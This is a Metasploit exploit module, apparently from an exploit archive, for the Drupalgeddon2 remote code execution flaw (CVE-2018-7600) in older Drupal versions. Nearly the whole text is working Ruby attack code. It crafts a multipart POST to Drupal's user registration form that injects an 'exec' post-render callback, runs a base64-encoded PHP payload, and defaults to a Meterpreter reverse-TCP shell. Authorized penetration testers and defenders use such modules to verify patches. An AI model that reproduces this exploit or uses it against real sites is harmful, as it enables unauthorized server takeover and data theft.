Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Drupalgeddon2', 'Description' => %q{ CVE-2018-7600 / SA-CORE-2018-002 Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations. The module can load msf PHP arch payloads, using the php/base64 encoder. The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));' }, 'License' => MSF_LICENSE, 'Author' => [ 'Vitalii Rudnykh', # initial PoC 'Hans Topo', # further research and ruby port 'José Ignacio Rojo' # further research and msf module ], 'References' => [ ['SA-CORE', '2018-002'], ['CVE', '2018-7600'], ], 'DefaultOptions' => { 'encoder' => 'php/base64', 'payload' => 'php/meterpreter/reverse_tcp', }, 'Privileged' => false, 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Targets' => [ ['User register form with exec', {}], ], 'DisclosureDate' => 'Apr 15 2018', 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']), ]) register_advanced_options( [ ]) end def uri_path normalize_uri(target_uri.path) end def exploit_user_register data = Rex::MIME::Message.new data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"') data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"') data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"') data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"') data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"') post_data = data.to_s # /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri_path}user/register", 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'vars_get' => { 'element_parents' => 'account/mail/#value', 'ajax_form' => '1', '_wrapper_format' => 'drupal_ajax', } }) end ## # Main ## def exploit case datastore['TARGET'] when 0 exploit_user_register else fail_with(Failure::BadConfig, "Invalid target selected.") end end end |